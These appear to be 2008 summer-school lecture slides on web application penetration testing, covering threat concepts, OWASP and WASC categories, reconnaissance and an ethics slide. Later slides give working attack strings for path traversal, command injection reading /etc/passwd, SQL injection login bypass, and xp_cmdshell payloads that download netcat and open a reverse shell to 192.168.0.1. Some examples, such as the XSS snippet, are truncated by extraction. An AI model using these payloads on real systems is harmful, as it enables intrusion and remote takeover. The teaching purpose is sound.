Penetrate the network using web applications
and servers
How is this done
1. Exploit vulnerable servers (SSL buffer
overflows, directory traversal, etc)
2. Exploit weak configurations
3. Exploit web applications
Emanics Summer School, 2008 Zurich - 3 -
Security threats and vulnerabilities
• What is Security ?
– “Security is a process not a product”, Bruce Schneier,
– “Maintaining an acceptable level of perceived risk”, Richard Bejtlich.
• What is a threat ?
– A threat is an external security issue represented by a natural or
man-made attack
• What is a vulnerability ?
– a specific degree of weakness of an individual computer or network
exposed to the influence of a threat
• What is risk ?
– A risk is the degree of probability that a disaster will occur in light of
the existing conditions, and the degree of vulnerability or weakness
present in the system. The key difference between a threat and a
risk is that a threat is related to the potential occurrence of a
security issue, whereas a risk is the probability of an incident
occurring based on the degree of exposure to a threat. Risk, for
security purposes, is usually calculated in dollars and cents.
Emanics Summer School, 2008 Zurich - 4 -
Threat Modeling
• Closely related to a specific enterprise
– Takes into account users, roles, access,
services, natural conditions etc..
• Several models exists:
– The OCTAVE approach, Carnegie Mellon
– STRIDE (Microsoft)
• Objective
– Identify the threats and assess their impact
– Produce a structural models of threats and
countermeasures.
Emanics Summer School, 2008 Zurich - 5 -
Vulnerabilities disclosure
• SANS (www.sans.org) keeps an updated viw
on the most 20 dangerous vulnerabilities
/attack targets
• CERT (Computer Emergency Response)
–Various regional/national sub groups
– Historical source of information on vulnerabilities
• Web Sites/Mailing Lists
–Milw0rm
–Secunia
– fulldisclosure
Emanics Summer School, 2008 Zurich - 6 -
Security Assessment/Penetration Testing
• Security Assessment
– identifies potential vulnerabilities, their impact
and potential impact.
– Provides a global view on the security of the
overall network and services
• Penetration Testing
– breaking into and exploiting vulnerabilities in
order to replicate an real hacker
–“Show” and very impressive
–Limited, because maybe more ways to intrude
might exist
Emanics Summer School, 2008 Zurich - 7 -
What you need to know
• Network and application level knowledge
• A keen eye, open mind and curiosity to learn how things work
• A passion for generating and analyzing error messages.
• Master the tools ….do what You want to do, not what the tools can do.
• Ethics….
• Service continuity
– Use off time business hours
– Do not test DOS attacks
• You might go to jail if your actions affect third parties not included in the contract
or national laws.
• Do not assess or perform penetration testing on networks that are not yours or
for which you don’t have a written permission
Emanics Summer School, 2008 Zurich - 8 -
What do you search
1. A communication channel
2. A username
3. A password
Remember: If you know two of them, you can
bruteforce the third.
Emanics Summer School, 2008 Zurich - 9 -
Reconnaissance gathering
• Objective : Learn the most about a network
• Who is doing it .
– Hackers going after your assets
– Script kiddies running scanners
– WORMS looking for new propagation and replication places
– Automatised attack and installation software
• What to learn about a network:
– Network topology (IP subnetworks, alive etc..)
– Firewall ACL
– Operating systems and the services/programs running
• Approaches
– « Google hacking » - use google to search for vulnerabilities :http:/
/johnny.ihackstuff.com/
– DNS and internet databases
– Scanning
• Inverse mapping for network topology
• Port scanning for OS fingerprinting and service identification
• SNMP
• Passive monitoring
Emanics Summer School, 2008 Zurich - 10 -
Reconnaissance gathering
Objective : Learn domains and real network associated to an
organisation.
Tool : Whois Databases
– Europeean IP address allocation : www.ripe.net
– US army : whois.nic.mil
– France : whois.nic.fr
Example : Discover organisation information about Loria:
whois « loria.fr » -h whois.nic.fr
Information about :
– administrative contact (can be reused in social engineering)
– Network domains, name servers and allocated IP addesses
Emanics Summer School, 2008 Zurich - 11 -
Reconnaissance gathering with DNS
Objective : Discover the network topology by DNS
interrogation.
Tools : nslookup, dig, , zone transfer tools (SAM-SPADE,
Smart-Whois, etc…)
What to discover !
– Name servers (ns entries)
– Mail servers (mx entries)
– Any IP and names visible
– HINFO records about systems
• Reverse DNS for more stealth
Emanics Summer School, 2008 Zurich - 12 -
Exploiting web servers and configuration
Software :
• A server is just a piece of software, therefore it
can be broken if software is not well written
• Famous examples
– SSL buffer overflows against Apache
– Directory traversal against ISS and Apache :
www.vulnerable.com/../../../../../../../etc/passwd
• Configuration
– Files with confidential information on the server (google
hacking with ext:xls...)
– Unprotected sensible zones
– Security by Obscurity
Emanics Summer School, 2008 Zurich - 13 -
Exploiting web applications
Major causes of threads:
• Programmers are busy, not well trained on security
and sometimes lazy
• Security by obscurity
• Multiple programming languages and character
formats
• Integration of multiple applications (web fronat,
database servers, and programming
environments)
Emanics Summer School, 2008 Zurich - 14 -
What are the major 10 threats ? OWASP
• A1 – Unvalidated Input
• A2 – Broken Access Control
• A3 – Broken Authentication and Session
Management
• A4 – Cross Site Scripting (XSS) Flaws
• A5 – Buffer Overflows
• A6 – Injection Flaws
• A7 – Improper Error Handling
• A8 – Insecure Storage
• A9 – Denial of Service (DoS)
• A10 – Insecure Configuration Management
Emanics Summer School, 2008 Zurich - 15 -
What are the major threats ? WASC
1. Authentication
Brute Force
Insufficient Authentication
Weak Password Recovery Validation
2. Authorization
Credential/Session Prediction
Insufficient Authorization
Insufficient Session Expiration
Session Fixation
3. Client-Side Attacks
Content Spoofing
Cross-site Scripting
4. Command Execution
Buffer Overflow
Format String Attack
LDAP Injection
OS Commanding
SQL Injection 4.6 SSI Injection 4.7 XPath Injection
5. Information Disclosures
Directory Indexing
Information Leakage
Path Traversal
Predictable Resource Location
6. Logical Attacks
Abuse of Functionality
Denial of Service
Insufficient Anti-automation Insufficient Process Validation
Emanics Summer School, 2008 Zurich - 16 -
Input Validation
• Can you find any limitations in the defined/used variables and protocol
payload, that is, accepted data length, accepted data types, data formats,
and so on?
• Use exceptionally long character-strings to find buffer overflow vulnerability in
the application code base or the web server itself.
• Use concatenation techniques in the input strings to try to get the target
application to behave incorrectly.
• Inject specially crafted SQL statements in the input strings
• Force Cross-Site Scripting (XSS) functionality
• Look for unauthorized directory or file access with path or directory traversal
in the input strings of the target application.
• Try using specific URL-encoded strings and Unicode-encoded strings to
bypass input validation mechanisms used within the target application.
• Use of server-side includes, try executing remote commands.
• Manipulate the session management techniques to fool Try to manipulate
(hidden) field variables in HTML forms to fool server-side logic.
• Manipulate the “Referrer” value in the HTTP “Host” header in order to fool or
modify server-side logic.
• Try to force illogical or illegal input so as to test the target’s error-handling
routines.
Emanics Summer School, 2008 Zurich - 17 -
Input Validation pentesting
Inject server side script :
http://example.com/index.php=.
Execute other commands:
http://example.com/foo.pl?page=../../../../bin/ls%20-las%20/home|.
Bypass filtering mechanisms when Perl and C use other coventions:
http://example.com/foo.pl?page=../../../../etc/passwd%00html
Path traversal
http://example.com/index.php?file=../../../etc/passwd
Use alternate character sets
• ..%u2215 : Unicode encoded backward slash character
• ..%c0%af : UTF-8 encoded forward slash character
Emanics Summer School, 2008 Zurich - 18 -
Breaking Access Control
• How is the app administrated? By how many people? And what gives
them that right above regular app users?
• How are changes made to content? How are these changes
published to production?
• How many people have publishing rights? How are those rights
determined, established, and enforced?
• Is there a QA testing and verification process for content?
• How are changes made to the app? How are these changes
published to production?
• How many people can touch the app to publish new or updated
code? Are they developers? How are those rights determined,
established, and enforced?
• Is there a QA testing and verification process for app modifications?
• Is any of the publishing or deploying done remotely? If so, how?
• How is the DB maintained and administrated? By how many people?
Do the DBAs have remote access to the DB server(s)?
• Is the app segmented by access control or is there one blanket group
with publishing rights?
Emanics Summer School, 2008 Zurich - 19 -
Breaking Authentication
Attempt to concretely ascertain the authentication
mechanism that is in place
Verify that said mechanism is being used uniformly
across all sensitive resources
Verify how this mechanism is being applied to all the
resources within the Web application
Emanics Summer School, 2008 Zurich - 20 -
Web Authentication
Types of authentication
1. Basic Authentication with username send almost
in clear –base64 encoded)
2. HTTP digest using M5 cryptographic hashes
3. HTML forms (using maybe an additional databa)
4. Windows specific (NTLM kind of)
Breaking authentication
Brute force (using brutus)
Database SQL injection
Hacking the session management
Emanics Summer School, 2008 Zurich - 21 -
Hacking the sessions
How are sessions maintained ?
1. Using a mixture of headers (referer, url, IP source) and
cockies (most cases an encrypted and time stamp based
system)
2. Sometimes with hidden HTML field
Breaking sessions
Detecting the predictability of session generation mechanism
Examples: Easy to break;
http://example.com/
http://example.com/
Not so easy
https://example.com/login.jsp?token=E7F8C189-728F-46EA-A3FE-FABA5B9384D0
https://example.com/login.jsp?token=A5BD2BBA-311D-4625-A218-8AC51C7AB688
Emanics Summer School, 2008 Zurich - 22 -
Hacking the sessions
Session reuse where an old session ID can be replayed.
Session fixation where an attacker initiates a session and
somehow convinces the victim to connect using this session
By email/roque server
Don't Click here!!
By Javascript injection: Jikto
Emanics Summer School, 2008 Zurich - 23 -
XSS Cross site scripting
Hacker injects scripts in vulnerable applications (forums, online
shared virtual spaces, logs)
/script>">My link!
Victim executes the script on his machine when visiting
vulnerable system (efficency MySpace worm Sammy infected
1000000 machines)
Hello, user!
Anyone up for a party?
Dangers:
Theft of identitity/cockies
Abuse of client machine (interception with invisible frames,
penetration of internal networks)
User tracking
Emanics Summer School, 2008 Zurich - 24 -
Injecting commands
Perl based cgi :
Valid URL
:
http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.
Attacking :
http://example /cgi-bin/showInfo.pl?name=John&template=/bin/ls|.
Executing open(FILE, "/bin/ls|")
A PHP script using exec("ls -la $dir",$lines,$rc)
;=%3B
Attacking
:http://example.com/directory.php?dir=%3Bcat%20/etc/passwd.
Emanics Summer School, 2008 Zurich - 25 -
SQL injection
HTML form is
SQL code to be executed is:
SELECT * FROM table WHERE username = '
Now what happens if
Username= ‘admin' OR ‘1'=' 1 –
Password =‘ ‘
Execution is SELECT * FROM table WHERE username = ‘admin' OR 1=1 --' AND password
= '';
Emanics Summer School, 2008 Zurich - 26 -
SQL injection : the dangers
1. Data theft
1. http://mysql.example.com/query.php?user=1+union+select+@@version
,1,1,1,_1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
2. Database level rootkits (Blackhat 2006/2007)
3. Remote code execution
1. '; exec master..xp_cmdshell 'dir > C:\dir.txt'—
2. ; exec master..xp_cmdshell 'tftp –I 192.168.0.1 GET nc.exe c:\nc.exe'—
3. '; exec master..xp_cmdshell 'C:\nc.exe 192.168.0.1 53 –e cmd.exe'—
4. select 0x010203 into dumpfile '123.dll'; will create a binary file on the local
system
5. COPY dummytable FROM '/etc/passwd'; SELECT * FROM dummytable;
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